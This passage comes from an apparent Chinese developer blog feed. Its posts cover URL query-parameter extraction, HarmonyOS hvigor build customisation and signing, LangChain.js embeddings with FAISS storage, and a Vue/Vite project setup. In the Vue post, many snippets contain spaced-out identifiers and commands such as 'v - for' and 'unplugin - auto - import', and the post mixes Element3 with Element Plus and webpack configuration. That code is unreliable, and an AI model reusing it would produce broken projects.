  return new URLSearchParams(location.search);
}

function App() {
  const query = useQuery();
  const category = query.get('category');
  console.log(category);  // 输出当前的category参数
}

通过这种方式,我们不仅能够高效提取当前参数,还能确保页面在路由变化时实时更新。

3. 从复杂到简单:用正则表达式提取嵌套参数

但在某些复杂情况下,URL中的查询参数可能并非以简单的key=value形式存在,而是具有多层嵌套或动态生成的内容。这时,传统的URLSearchParams或许无法满足需求。我们需要正则表达式来“解锁”这些复杂的数据结构。

假设URL的参数形式是嵌套的,像是:

const url = 'https://example.com/product?id=123&details=color:red;size:L';
const regex = /details=([^&;]+)/;
const matches = url.match(regex);

const details = matches[1];  // color:red;size:L

通过正则表达式,我们可以灵活地提取出嵌套结构中的具体内容。这种方法不仅精准高效,而且能够应对不同结构的URL。

4. 性能优化:缓存与懒加载,提升应用速度

虽然从技术上来说,提取ULL中的当前参数并不复杂,但频繁的参数提取和计算可能会导致性能瓶颈。特别是在需要多次访问相同参数的场景下,重复的提取操作将极大地降低应用的响应速度。

缓存是解决这个问题的最佳方案。通过将已提取的参数存储起来,避免重复计算,我们可以显著提升性能。例如:

const cachedParams = {};

function getParam(param) {
  if (!cachedParams[param]) {
    const url = new URL(window.location.href);
    cachedParams[param] = url.searchParams.get(param);
  }
  return cachedParams[param];
}

这种方法避免了每次都解析整个URL,从而提高了应用的效率,尤其是在复杂的页面交互中。

5. 懒加载:按需提取参数

对于一些复杂的应用,参数提取并不是每次都必要的。这时,我们可以采用懒加载的方式,只有在参数真正需要时才去提取。这不仅减轻了初始加载的负担,还能提升用户体验。

let params;

function getLazyParam() {
  if (!params) {
    const url = new URL(window.location.href);
    params = new URLSearchParams(url.search);
  }
  return params;
}

结语:掌握参数提取,掌控应用性能与数据流

ULL参数提取不仅仅是一个技术细节,它直接影响着应用的性能、可维护性以及开发效率。在面对复杂路由、嵌套查询和动态数据时,掌握高效的提取技巧,无疑能帮助你在开发中游刃有余。

无论是在面试中展示你的技术深度,还是在实际项目中提升用户体验,理解并掌握这些方法,都是成为高效开发者的必经之路。而今天你学到的不仅是如何提取ULL中的参数,更是如何在高压的技术环境中,做到精准与高效的完美平衡。

by DoraBigHead at January 17, 2025 03:32 PM

juejin android

鸿蒙--hvigor定制构建

前言

之前需要发版时都是在开发机上修改一下相关配置,比如签名文件、三方SDK参数等,然后打包上传到应用商店。略显繁琐,也担心某次打包会有漏改错改的配置。现在使用jenkins搭建了构建流水线,希望可以根据传入的参数不同,替换配置文件中的字段。翻看文档后发现可以在hvigorfile.ts中接收部分编译配置。

BuildProfile

该类和 Android 项目中的 BuildConfig类很像,也是在编译构建时生成的。我们可以通过该类在运行时获取编译构建参数,也可以在build-profile.json5中通过buildProfileFields增加自定义字段,从而在运行时获取自定义的参数。

实践

项目代码已经迭代了将近10年,有些功能的添加没有办法做到完美向下兼容,只能在请求参数中添加当前应用版本号,服务端根据版本号来判断需要下发哪些数据。但鸿蒙版本是刚开发开发,在一个版本内无法完成全部功能,需要分版本按紧急程度开发,因此版本号也不能直接和 Android、iOS 对齐,也是从 1.0.0 版本开始发版。所以无法在请求参数中直接传递应用版本号。因此我们将当前适配的版本号写入到BuildProfile.ets文件中,方便各个业务调用。

我们在项目根目录下的build-profile.json5文件中添加如下内容就可以将自定义的字段写入到该文件中.

{
app: {
products: [{
name: "default",
signingConfig: "default",
compatibleSdkVersion: "5.0.0(12)",
runtimeOS: "HarmonyOS",
buildOption: {
arkOptions: {
buildProfileFields: {
online: false,
version_to_servier: "5.11.10",
},
}
},
},
]
}
}

自定义参数可以在buildOptionbuildOptionSettargets节点下的arkOptions子节点中通过增加buildProfileFields字段实现,自定义参数通过key-value键值对的方式配置,其中value取值仅支持numberstringboolean类型。
当然,该配置也可以在模块下的build-profile.json5中配置。优先级如下:

模块级target > 模块级buildOptionSet > 模块级buildOption > 工程级product > 工程级buildModeSet

这里我们添加了version_to_servier字段来表示当前应用适配到了哪个版本。 正常情况下,我们运行代码就可以在${moduleName} / build / ${productName} / generated / profile / ${targetName} 目录下生成BuildProfile.ets文件。 也可以在命令行执行hvigorw GenerateBuildProfile
也可以选中需要编译的模块,在菜单栏选择Build > Generate Build Profile ${moduleName}。 也可以在菜单栏选择Build > Build Hap(s)/APP(s) > Build Hap(s)”或“Build > Build Hap(s)/APP(s) > Build APP(s)

使用时可以这么用

import BuildProfile from './BuildProfile';
const VERSION_TO_SERVER: string = BuildProfile.version_to_servier;

替换模块module.json5字段的值

我们使用了某三方SDK,需要在模块module.json5文件中添加对应的id

{
  "module": {
    "metadata": [
      {
        "name": "xxx_APPID",
        "value": "1234567"
      }
    ],
  }
}

为了区分测试环境和生产环境,xxx_APPID配置了不一样的值,我们期望是打包时通过命令行参数来修改这个值,避免认为配置出现错误。

实践

使用命令行hvigorw打包时除了buildModedebuggable等参数外,还支持--config properties.key=value进行自定义参数。并且在模块下、工程下的hvigorfile.ts中都可以接收到该参数。

这里我们定义了布尔类型的online参数来表示是否为发版包,当模块下的hvigorfile.ts文件中根据该字段的值来区分配置的参数。 具体代码如下,在模块下的hvigorfile.ts文件中:

import { hapTasks, OhosHapContext, OhosPluginId } from '@ohos/hvigor-ohos-plugin';
import { getNode } from '@ohos/hvigor'

const entryNode = getNode(__filename);
// 为此节点添加一个afterNodeEvaluate hook 在hook中修改module.json5的内容并使能
entryNode.afterNodeEvaluate(node => {
  //获取命令行参数
  let online = false
  let propertyOnline = hvigor.getParameter().getProperty('online');
  if (propertyOnline != undefined) {
    online = propertyOnline
  }
  console.log("entry online-> " + propertyOnline);

  // 获取此节点使用插件的上下文对象 此时为hap插件 获取hap插件上下文对象
  const hapContext = node.getContext(OhosPluginId.OHOS_HAP_PLUGIN) as OhosHapContext;
  // 通过上下文对象获取从module.json5文件中读出来的obj对象
  const moduleJsonOpt = hapContext.getModuleJsonOpt();
  // 修改obj对象为想要的,此处举例修改module中的deviceTypes
  let metaDateList = moduleJsonOpt['module']['metadata']
  metaDateList.forEach(element => {
    if (element['name'] === 'xxx_APPID') {
      if (online) {
        console.log('线上环境,修改xxx_APPID配置为   abcdefg')
        element['value'] = 'abcdefg'
      }else{
        console.log('测试环境,修改xxx_APPID配置为   1234567')
        element['value'] = '1234567'
      }
    }
  });

    // 将obj对象设置回上下文对象以使能到构建的过程与结果中
    hapContext.setModuleJsonOpt(moduleJsonOpt);
})
export default {
    system: hapTasks,  /* Built-in plugin of Hvigor. It cannot be modified. */
    plugins:[]         /* Custom plugin to extend the functionality of Hvigor. */
}

在打包构建时只需要执行

  hvigorw clean  assembleApp -p buildMode=release --config properties.online=true

就可以直接替换为生产环境的配置了。因为平时开发都是直接点 IDE 中的 run 进行调试,不会传入该参数,也就不会影响文件中原本配置的值。

打包签名

上面也提到自定义的参数也可以在工程下的hvigorfile.ts接收到该参数,上面BuildProfile中也提到在工程下的build-profile.json5添加了自定义字段online。我们同样可以根据命令行参数替换掉。同时也将配置的测试签名文件删除,只构建产物,随后再使用命令行进行签名。

代码如下,在工程根目录下的hvigorfile.ts文件中

import { appTasks, OhosAppContext, OhosPluginId } from '@ohos/hvigor-ohos-plugin';
import { hvigor,getNode } from '@ohos/hvigor'
// 获取根节点
const rootNode = getNode(__filename);
// 为根节点添加一个afterNodeEvaluate hook 在hook中修改根目录下的build-profile.json5的内容并使能
rootNode.afterNodeEvaluate(node => {

    //获取命令行参数
    let online = false
    let propertyOnline = hvigor.getParameter().getProperty('online');
    if (propertyOnline != undefined) {
        online = propertyOnline
    }
    console.log("online-> " + propertyOnline);

    // 获取app插件的上下文对象
    const appContext = node.getContext(OhosPluginId.OHOS_APP_PLUGIN) as OhosAppContext;
    // 通过上下文对象获取从根目录build-profile.json5文件中读出来的obj对象
    const buildProfileOpt = appContext.getBuildProfileOpt();
    //将 BuildProfile 文件中的online值改为传入的值
    buildProfileOpt['app']['products'][0]['buildOption']['arkOptions']['buildProfileFields']['online'] = online
    if (online) {
      //清除签名文件信息
        buildProfileOpt['app']['signingConfigs'] = []
    }
    
    // 将obj对象设置回上下文对象以使能到构建的过程与结果中
    appContext.setBuildProfileOpt(buildProfileOpt);
})

export default {
    system: appTasks,  /* Built-in plugin of Hvigor. It cannot be modified. */
    plugins:[]         /* Custom plugin to extend the functionality of Hvigor. */
}

打包的时候,由于上架需要 app 文件,所以我们需要打 release 模式的 app 文件。测试时需要打release 模式的hap 文件:

//先安装一下依赖
ohpm install --all
//发版包
hvigorw clean  assembleApp -p buildMode=release --config properties.online=true 
//测试包
hvigorw clean  assembleHap -p buildMode=release --config properties.online=false

这样我们就将BuildProfile文件中的online值改为传入的值,同时也清除了签名文件配置。

这里需要注意的是,如果执行的是assembleApp,则产物是在项目根目录build/outputs/${productName}/xxx-default-unsigned.app。如果执行的是assembleHap,则会在${moduleName}/build/${productName}/outputs/${productName}/entry-default-unsigned.hap.

下面我们对产物进行签名。

 /Applications/DevEco-Studio.app/Contents/jbr/Contents/Home/bin/java -jar /Applications/DevEco-Studio.app/Contents/sdk/default/openharmony/toolchains/lib/hap-sign-tool.jar sign-app -keyAlias "keyAlias" -signAlg "SHA256withECDSA" -mode "localSign" -appCertFile "release.cer" -profileFile "release.p7b" -inFile "build/outputs/default/xxx-default-unsigned.app" -keystoreFile "default.p12" -outFile "xxx-default-signed.app" -keyPwd "keyPwd" -keystorePwd "keystorePwd" -signCode "1"

 /Applications/DevEco-Studio.app/Contents/jbr/Contents/Home/bin/java -jar /Applications/DevEco-Studio.app/Contents/sdk/default/openharmony/toolchains/lib/hap-sign-tool.jar sign-app -keyAlias "keyAlias" -signAlg "SHA256withECDSA" -mode "localSign" -appCertFile "debug.cer" -profileFile "debug.p7b" -inFile "entry/build/default/outputs/default/entry-default-unsigned.hap" -keystoreFile "default.p12" -outFile "entry-default-signed.hap" -keyPwd "keyPwd" -keystorePwd "keystorePwd" -signCode "1"

我们可以把打包签名的流程写在文件(build.sh)中,每次去执行这个文件就好了



# 初始化build_type为release
online=true
# 解析命令行参数
while [[ $# -gt 0 ]]; do
    case $1 in
        --debug)
            online=false
            echo "需要构建测试包"
            shift
            ;;
        --release)
            # 实际上这个选项是多余的,因为默认就是release
            # 但如果你希望明确指定release以覆盖其他可能设置默认值的逻辑,可以保留
            online=true
            echo "需要构建线上包"
            shift
            ;;
        *)
            # 未知选项,打印帮助信息或错误消息
            echo "Usage: $0 [--debug|--release]"
            exit 1
            ;;
    esac
done



# 安装依赖
ohpm install --all


if [ "$online" == true ]; then
    # 打线上 app 包
    echo "Executing online release build commands..."
    hvigorw clean  assembleApp -p buildMode=release --config properties.online=true 
elif [ "$online" == false ]; then
    # 打测试 hap 包
    echo "Executing not online release build commands..."
    hvigorw clean  assembleHap -p buildMode=release --config properties.online=false
else
    # 理论上不应该走到这里,除非build_type被设置为非预期的值
    echo "Unknown build type: $build_type"
    exit 1
fi



# 签名

if [ "$online" == true ]; then
    # 打线上 app 包
    echo "签名 app 文件"
    /Applications/DevEco-Studio.app/Contents/jbr/Contents/Home/bin/java -jar /Applications/DevEco-Studio.app/Contents/sdk/default/openharmony/toolchains/lib/hap-sign-tool.jar sign-app -keyAlias "keyAlias" -signAlg "SHA256withECDSA" -mode "localSign" -appCertFile "release.cer" -profileFile "release.p7b" -inFile "build/outputs/default/xxx-default-unsigned.app" -keystoreFile "default.p12" -outFile "xxx-default-signed.app" -keyPwd "keyPwd" -keystorePwd "keystorePwd" -signCode "1"

elif [ "$online" == false ]; then
    # 打测试 hap 包
    echo "签名 hap 文件"
    /Applications/DevEco-Studio.app/Contents/jbr/Contents/Home/bin/java -jar /Applications/DevEco-Studio.app/Contents/sdk/default/openharmony/toolchains/lib/hap-sign-tool.jar sign-app -keyAlias "keyAlias" -signAlg "SHA256withECDSA" -mode "localSign" -appCertFile "debug.cer" -profileFile "debug.p7b" -inFile "entry/build/default/outputs/default/entry-default-unsigned.hap" -keystoreFile "default.p12" -outFile "entry-default-signed.hap" -keyPwd "keyPwd" -keystorePwd "keystorePwd" -signCode "1"

else
    # 理论上不应该走到这里,除非build_type被设置为非预期的值
    echo "Unknown build type: $build_type"
    exit 1
fi

打包时,如果需要打测试包,则执行 build.sh --debug,如果要打发版包,则执行build.sh --release。 这样打包就结束了,后续是将产物上传云端还是其他处理就看大家各自需求了。我是将产物上传到云端,生成下载链接,将下载链接生成二维码一块发送到群里面。

by Huang兄 at January 17, 2025 03:07 PM

juejin frontend

Langchian.js |Embedding & Vector Store👈| 数据向量化后这样储存😱

前言

书接上文 , 学习了分割多个文档对象 , 这一次要学习

  • 如何将数据向量化 ? 😍
  • 向量化的数据持久化储存 ? 😍

也就是说 ,下面这张图 ,要 over 了 , 🤡👈

Embedding

langchain.js 在文本处理领域 ,不仅提供我前面所学的文本分割与转换 , 也为文本的向量化提供了支持 , 这不禁让应用开发者尖叫 ~ , 所谓文本的嵌入 , 其机制就是 : 将复杂文本数据转换为具有固定维度的向量 , 在机器学习和检索任务中十分 nice ~

Embedding 就是嵌入 , 他是 Langchain.js 的一个核心组件

主要作用是 , 为各种文本嵌入模型交互而设计 , 为许多的模型提供统一的 、标准化的接口 ; 说到这里 , 我们可以思考 : 其实 langchain 框架本身就是为了提供“统一化 、标准化的接口”而生 , 它是 LLM 的上层应用框架 , 成为开发层面的老大 , 底层调用各类模型 , 我们开发者只需要熟悉固定的语法 , 痛苦都交给了 langchain 🤡

langchain 支持的嵌入式模型如下 :

NameDescription
Alibaba TongyiThe AlibabaTongyiEmbeddings class uses the Alibaba Tongyi API to gene...
Azure OpenAI[Azure
Baidu QianfanThe BaiduQianfanEmbeddings class uses the Baidu Qianfan API to genera...
Amazon BedrockAmazon Bedrock is a fully managed
ByteDance DoubaoThis will help you get started with ByteDanceDoubao [embedding
Cloudflare Workers AIThis will help you get started with Cloudflare Workers AI [embedding
CohereThis will help you get started with CohereEmbeddings [embedding
DeepInfraThe DeepInfraEmbeddings class utilizes the DeepInfra API to generate ...
FireworksThis will help you get started with FireworksEmbeddings [embedding
Google Generative AIThis will help you get started with Google Generative AI [embedding
Google Vertex AIGoogle Vertex is a service that
Gradient AIThe GradientEmbeddings class uses the Gradient AI API to generate emb...
HuggingFace InferenceThis Embeddings integration uses the HuggingFace Inference API to gen...
IBM watsonx.aiThis will help you get started with IBM watsonx.ai [embedding
JinaThe JinaEmbeddings class utilizes the Jina API to generate embeddings...
Llama CPPOnly available on Node.js.
MinimaxThe MinimaxEmbeddings class uses the Minimax API to generate embeddin...
MistralAIThis will help you get started with MistralAIEmbeddings [embedding
Mixedbread AIThe MixedbreadAIEmbeddings class uses the Mixedbread AI API to genera...
NomicThe NomicEmbeddings class uses the Nomic AI API to generate embedding...
OllamaThis will help you get started with Ollama [embedding
OpenAIThis will help you get started with OpenAIEmbeddings [embedding
PineconeThis will help you get started with PineconeEmbeddings [embedding
Prem AIThe PremEmbeddings class uses the Prem AI API to generate embeddings ...
Tencent HunyuanThe TencentHunyuanEmbeddings class uses the Tencent Hunyuan API to ge...
TensorFlowThis Embeddings integration runs the embeddings entirely in your brow...
TogetherAIThis will help you get started with TogetherAIEmbeddings [embedding
HuggingFace TransformersThe TransformerEmbeddings class uses the Transformers.js package to g...
Voyage AIThe VoyageEmbeddings class uses the Voyage AI REST API to generate em...
ZhipuAIThe ZhipuAIEmbeddings class uses the ZhipuAI API to generate embeddin...

参考自官网 :js.langchain.com/docs/integr…

这些模型支持嵌入式 , 即支持将文本向量化 ~

我将使用 openai 来演示 ,

  1. 首先加载 data 文件夹下的"少年中国说.txt"文件为 Document 对象
  2. 然后使用工具分割对象
  3. 使用嵌入式模型向量化第二步分割后的 chunk
import { load } from "dotenv";
import { OpenAIEmbeddings } from "@langchain/openai";
import { TextLoader } from "langchain/document_loaders/fs/text";
import { RecursiveCharacterTextSplitter } from "langchain/text_splitter";
const env = await load();
const process = {
    env
}
// 1.
const loader = new TextLoader("data/少年中国说.txt");
const docs = await loader.load();
// 2.
const splitter = new RecursiveCharacterTextSplitter({
    chunkSize: 100, // 切片大小
    chunkOverlap: 20,// 重叠部分
  });
const splitDocs = await splitter.splitDocuments(docs);
// 3.
const embeddings = new OpenAIEmbeddings()
const splitDoc = splitDocs[0].pageContent
const res = await embeddings.embedQuery(splitDoc)
console.log(res)

在向量化之前 , 打印splitDocs , 输出如下:

使用OpenAIEmbeddings 嵌入式模型 , 对上述输出向量化之后 , 变成如下 :

上述代码使用嵌入式模型将文本变成了向量

会经历一下过程 :

  1. 预处理
    分词:首先,文本需要被分割成更小的单元,如单词或子词(subword)。例如,中文文本通常会被切分成单个汉字或词语。
    标准化:去除标点符号、转换为小写等操作,以确保一致性。
  2. 词汇表构建
    模型会根据训练数据构建一个词汇表(vocabulary),其中每个词都对应一个唯一的索引。对于未出现在词汇表中的词,通常会有一个特殊的标记(如)来表示未知词。
  3. 词向量生成
    静态词向量:早期的方法如Word2Vec、GloVe等会为每个词生成一个固定长度的向量。这些向量是通过无监督学习从大量文本中训练得到的,能够捕捉到词与词之间的语义关系。
    动态词向量:现代模型如BERT、OpenAI的模型使用的是上下文敏感的词向量。这意味着同一个词在不同的句子中可能会有不同的向量表示,从而更好地捕捉其在特定上下文中的含义。
  4. 句子编码
    平均池化:一种简单的方法是将句子中所有词向量的平均值作为句子的向量表示。
    加权求和:可以对词向量进行加权求和,权重可以根据词的重要性(如TF-IDF)来确定。
    Transformer架构:现代模型如BERT、OpenAI的模型使用了自注意力机制(self-attention),能够更好地捕捉句子中的长距离依赖关系,并生成整个句子的向量表示。
  5. 嵌入层
    在神经网络中,嵌入层(Embedding Layer)负责将输入的词索引转换为对应的词向量。这个层通常是可训练的,可以在下游任务中进一步优化。
  6. 输出向量
    最终,模型会输出一个固定长度的向量,这个向量代表了输入文本片段的语义信息。这个向量可以用于各种自然语言处理任务,如相似度计算、分类等。

以上过程参考自网络

Vector Store

向量数据库主要由 LangChain 社区维护的第三方集成 , 即在@langchain/community 包下面

关于选取那个数据 ,请查阅:js.langchain.ac.cn/docs/integr…

下面介绍两种向量数据库

  • Chroma
  • FaissStore

Chroma

一个专门为嵌入式向量设计的基于 SQLite 的开源数据库 , 有如下特点

  • 容易用
  • 轻量
  • 智能

通过向量切分多个段落 , 并对每个段落独立进行 k-means 聚类 , Chroma 可以有效压缩数据 , 减少储存空间 , 提高查询效率

k-means 聚类是一种无监督学习算法。它将数据分为 k 个聚类,使得每个数据点都属于离它最近的聚类中心所属的聚类。 通过不断迭代更新聚类中心,直到达到某种收敛条件。 例如,在图像识别中,可以用 k-means 聚类对图像的颜色进行分类;在客户细分中, 可以根据客户的特征将客户分为不同的群体。

langchain.js 官网 : js.langchain.ac.cn/docs/integr…

Chroma 官网 : docs.trychroma.com/docs/overvi…

好家伙 , 只支持 python 和 ts 🤡

安装、使用 ,依照上面官网

FaissStore

Faiss 是一个用于高效相似性搜索和密集向量聚类的库。

LangChain.js 支持使用 Faiss 作为本地运行的向量存储,可以保存到文件。

它还提供从 LangChain Python 实现 读取保存的文件的能力。

我在官网上看到这段 , 从那一眼起 , 我就选择她了 , 可是让我无语的是 , 我熬夜到天亮改了一个很臭的 bug —— 使用 npm , yarn , pnpm ... , 从淘宝源到腾讯源 , 这个包总是下不下来 , 我就不断搜索 , 可惜我用的是 Edge , 全是 csdn , 直到我在 github 上搜到以下解决方案 ,非常 nice !

一言蔽之即 : 手动下载 realse 版本 , 将无法下载的文件 ,手动添加到 node_modules

愿以我之发 , 保倔友之发🤡

总结 : 不要使用诸如 Edge 之类的浏览器搜报错🤡👈

实战

package.json
{
  "name": "test-app-node",
  "private": true,
  "version": "0.0.0",
  "scripts": {
    "prepare-kong-faiss": "ts-node prepare-kong-faiss.ts",
    "load-kong-faiss": "ts-node load-kong-faiss.ts",
    "multiQueryRetriever": "ts-node multiQueryRetriever.ts",
    "LLMChainExtractor": "ts-node LLMChainExtractor.ts",
    "ScoreThresholdRetriever": "ts-node ScoreThresholdRetriever.ts",
    "prepare-qiu": "ts-node ./rag/prepare-qiu.ts",
    "rag-2": "ts-node ./rag/index.ts",
    "rag-server": "ts-node ./rag/server.ts",
    "rag-client": "ts-node ./rag/client.ts"
  },
  "type": "module",
  "dependencies": {
    "@langchain/community": "^0.0.27",
    "dotenv": "^16.4.7",
    "express": "^4.19.2",
    "faiss-node": "^0.5.1",
    "langchain": "^0.1.37",
    "typescript": "^5.7.3"
  },
  "main": "index.js",
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "devDependencies": {
    "ts-node": "^10.9.2"
  }
}
embedding

安装好上述包后 , 使用嵌入式模型 将向量化后的数据储存在 data/vector/ 下

import { TextLoader } from "langchain/document_loaders/fs/text";
import { RecursiveCharacterTextSplitter } from "langchain/text_splitter";
import { FaissStore } from "langchain/vectorstores/faiss";
import { OpenAIEmbeddings } from "@langchain/openai";
import "dotenv/config";


const run = async () => {
    const loader = new TextLoader("../data/少年中国说.txt");
    const docs = await loader.load();
  
    const splitter = new RecursiveCharacterTextSplitter({
      chunkSize: 100,
      chunkOverlap: 20,
    });
    const splitDocs = await splitter.splitDocuments(docs);
  
    const embeddings = new OpenAIEmbeddings();
    const vectorStore = await FaissStore.fromDocuments(splitDocs, embeddings);
  
    const directory = "../db/vector";
    await vectorStore.save(directory);
  };
  
  run();
  

运行上述文件后 , 生成 docstore.json 和二进制文件 faiss.index

docstore.json 中 , 即向量化后的数据 :

retriever

从向量数据库中检索 , 我提问 : 日本怎么称呼我们中国? , 将从向量数据中检索 ,

import { FaissStore } from "@langchain/community/vectorstores/faiss";
import { OpenAIEmbeddings } from "@langchain/openai";
import "faiss-node";
import dotenv from "dotenv";
dotenv.config();
async function f() {
  const directory = "../db/vector";
 
  const embeddings = new OpenAIEmbeddings(
    {  
      modelName: "text-embedding-ada-002", //指定模型的名称
      maxConcurrency: 10, //设置最大的并发数 , 意味着同负一时间最多可以并行处理10个请求 , 避免过多并发请求 , 导致系统过载和api限流
      maxRetries: 3, //设置最大的重试次数 , 当api调用失败的时候 , 程序会自动重试最多三次 , 这增加请求成功的概率 , 提高了系统的可靠性
    },
    {
      batchSize: 100, //设置批量处理的大小 , 每次调用api 最多处理100个文本片段 , 但同时也要注意api的限制和内存的使用
    }
  );
  //加载向量储存
  const vectorstore = await FaissStore.load(directory, embeddings);
  //从向量数据库中创建一个检索器
  const retriever = vectorstore.asRetriever(2);
  //使用Runnable API进行进行检索
  const res = await retriever.invoke("日本怎么称呼我们中国?");
  console.log(res);
}

f();

结果如下 :

总结

学到这里 , 我已经知道知识库从自然语言到向量的过程 , 从数据角度的话 , 经历了一下过程 :

  • 加载数据源
  • 分割数据
  • 向量化数据
  • 持久化数据

逐步走向 RAG ~

!!??所以是真的哦.gif

by 浪遏 at January 17, 2025 03:01 PM

Vue 项目开发全攻略:从搭建到上线的技术盛宴

一、项目搭建

在开始开发 Vue 项目时,首先要进行项目搭建。这里我们选用 vite 来负责工程化,它能极大地提升项目构建和开发的效率。

使用 vite 搭建 Vue 项目非常简单,只需在命令行中输入 npm init vite 这一指令,就能快速初始化一个全新的 Vue 项目框架。vite 是新一代的前端构建工具,它基于 ES 模块导入,在开发环境下无需打包操作,可直接启动开发服务器,实现快速冷启动。在生产环境中,vite 又能利用 Rollup 进行高效的打包,为项目提供优化后的代码输出。通过这种方式,我们能轻松搭建起一个基础的 Vue 项目架构,为后续的开发工作奠定坚实的基础。

二、核心技术栈

2.1 Vue 核心语法

Vue 的核心语法是构建项目的基石 ,在本项目中,响应式原理通过ref和reactive两个函数来实现。例如,当需要创建一个简单的响应式数据时,使用ref函数:

import { ref } from 'vue';
const count = ref(0);

若要处理复杂的对象或数组,reactive则更为合适:

import { reactive } from 'vue';
const userInfo = reactive({
  name: 'John',
  age: 30
});

组件化开发让代码的可维护性和复用性大大提高。在项目里,我们将页面拆分成多个组件,每个组件都有独立的逻辑和视图。以一个按钮组件为例,其template部分定义了按钮的外观:

<template>
  <button>{{ buttonText }}</button>
</template>

script部分则负责组件的逻辑,如:

<script setup>
import { ref } from 'vue';
const buttonText = ref('点击我');
</script>

指令方面,v - if、v - show用于控制元素的显示与隐藏。v - for则常用于列表的渲染,假设我们有一个用户列表:

const userList = reactive([
  { id: 1, name: 'Alice' },
  { id: 2, name: 'Bob' }
]);

在模板中使用v - for进行渲染:

<template>
  <ul>
    <li v - for="user in userList" :key="user.id">{{ user.name }}</li>
  </ul>
</template>

通过这些核心语法的运用,我们能够构建出灵活且高效的 Vue 应用程序。

2.2 Vue - Router 路由

在 Vue - Router 的配置中,多级路由的设置让页面结构更加清晰。例如,我们有一个主页面Home,其下包含About和Contact两个子页面。在路由配置文件中可以这样定义:

import { createRouter, createWebHistory } from 'vue - router';
import Home from './views/Home.vue';
import About from './views/About.vue';
import Contact from './views/Contact.vue';
const router = createRouter({
  history: createWebHistory(),
  routes: [
    {
      path: '/home',
      component: Home,
      children: [
        { path: 'about', component: About },
        { path: 'contact', component: Contact }
      ]
    }
  ]
});

路由懒加载是提升性能的关键。我们使用import()函数来实现,当访问特定路由时,对应的组件才会被加载。比如:

const About = () => import('./views/About.vue');

添加路由守卫则能有效控制页面的访问权限。以登录验证为例,在全局前置守卫中可以这样实现:

router.beforeEach((to, from, next) => {
  const isLoggedIn = localStorage.getItem('token');
  if (to.meta.requiresAuth &&!isLoggedIn) {
    next('/login');
  } else {
    next();
  }
});

在需要验证的路由中,设置meta字段:

{
  path: '/dashboard',
  component: Dashboard,
  meta: { requiresAuth: true }
}

通过这样的配置,确保了只有登录用户才能访问受保护的页面。

2.3 Pinia 状态管理

Pinia 在项目中负责状态的管理,极大地简化了状态共享的过程。首先,安装 Pinia 并在main.js中进行配置:

import { createApp } from 'vue';
import { createPinia } from 'pinia';
import App from './App.vue';
const app = createApp(App);
const pinia = createPinia();
app.use(pinia);
app.mount('#app');

接着,定义一个store来管理用户相关的状态。例如:

import { defineStore } from 'pinia';
export const useUserStore = defineStore('user', {
  state: () => ({
    userInfo: null,
    isLoggedIn: false
  }),
  actions: {
    login(user) {
      this.userInfo = user;
      this.isLoggedIn = true;
      localStorage.setItem('token', 'valid - token');
    },
    logout() {
      this.userInfo = null;
      this.isLoggedIn = false;
      localStorage.removeItem('token');
    }
  }
});

在组件中使用该store时,只需引入并调用相应的方法:

import { useUserStore } from '@/stores/user';
const userStore = useUserStore();
userStore.login({ name: 'John', age: 30 });

Pinia 的优势在于其简洁的 API 和良好的模块化设计,使得状态管理变得轻松且高效。

2.4 Element3 UI 组件库

Element3 是一个功能强大的 UI 组件库,为项目提供了丰富的组件。在使用时,我们采用按需加载的方式来优化性能。首先,安装相关的插件:

npm install -D unplugin - vue - components unplugin - auto - import

然后,在vue.config.js中进行配置:

const AutoImport = require('unplugin - auto - import/webpack');
const Components = require('unplugin - vue - components/webpack');
const { ElementPlusResolver } = require('unplugin - vue - components/resolvers');
module.exports = {
  configureWebpack: {
    plugins: [
      AutoImport({
        resolvers: [ElementPlusResolver()]
      }),
      Components({
        resolvers: [ElementPlusResolver()]
      })
    ]
  }
};

这样,在组件中使用 Element3 组件时,如按钮组件,只需直接引入:

<template>
  <el - button type="primary">点击我</el - button>
</template>

Element3 组件以el -开头,通过按需加载,我们避免了引入不必要的组件,有效减少了项目的打包体积,提升了页面的加载速度。

2.5 Stylus CSS 预处理器

Stylus 作为 CSS 预处理器,为项目带来了诸多便利。它允许我们使用变量、混入、嵌套等功能,使 CSS 代码更加简洁和易于维护。例如,定义一个颜色变量:

$primaryColor = #1890ff

在样式中使用该变量:

button {
  background - color: $primaryColor;
  color: white;
}

混入功能可以复用一些常用的样式,如圆角样式:

border - radius() {
  border - radius: 5px;
}
.box {
  +border - radius();
}

样式的嵌套则让代码结构更加清晰,以导航栏为例:

.nav {
  display: flex;
  justify - content: space - between;
  li {
    list - style: none;
    a {
      text - decoration: none;
      color: #333;
      &:hover {
        color: $primaryColor;
      }
    }
  }
}

通过 Stylus 的这些特性,我们能够高效地编写和管理项目的样式。

2.6 Axios AJAX 请求封装库

Axios 用于与后端进行数据交互,我们对其进行了封装,以提高代码的复用性和可维护性。首先,创建一个api.js文件,设置基础 URL 和请求拦截器:

import axios from 'axios';
const service = axios.create({
  baseURL: 'https://api.example.com',
  timeout: 5000
});
service.interceptors.request.use(
  config => {
    const token = localStorage.getItem('token');
    if (token) {
      config.headers['Authorization'] = `Bearer ${token}`;
    }
    return config;
  },
  error => {
    return Promise.reject(error);
  }
);

然后,封装常用的请求方法,如get和post:

export const get = (url, params = {}) => {
  return service.get(url, { params });
};
export const post = (url, data = {}) => {
  return service.post(url, data);
};

在组件中使用时,只需引入相应的方法:

import { get } from '@/api';
get('/user/info').then(response => {
  console.log(response.data);
}).catch(error => {
  console.error(error);
});

通过这样的封装,我们能够方便地进行各种 AJAX 请求,与后端进行稳定的数据交互。

三、项目亮点展示

3.1 ES6 风格的全面应用

在整个项目中,我们全面采用了 ES6 风格的代码编写方式,这使得代码在简洁性、易读性和易维护性上都有了显著提升。例如,在定义路由时,使用对象解构的方式简化了代码结构。原本需要完整书写routes: routes,现在直接写成routes即可。这种简洁的写法不仅减少了冗余代码,还让代码逻辑更加清晰,开发者能够一眼看清路由的配置关系。

在函数定义方面,ES6 的箭头函数也被广泛应用。比如在处理一些简单的回调函数时,箭头函数的使用使得代码更加紧凑。例如,在数组的map方法中,使用箭头函数可以快速对数组中的每个元素进行处理:

const numbers = [1, 2, 3, 4];
const squaredNumbers = numbers.map((number) => number * number);

相比于传统的函数定义方式,箭头函数的语法更加简洁,同时也避免了this指向的问题,让代码的维护更加轻松。

3.2 良好的注释与代码可读性

良好的注释是提高代码可读性的关键。在项目中,我们在关键的代码块、函数定义以及复杂的逻辑处都添加了详细的注释。例如,在路由守卫的代码中,我们添加了注释来说明其作用和逻辑:

// 全局前置守卫,用于验证用户是否登录
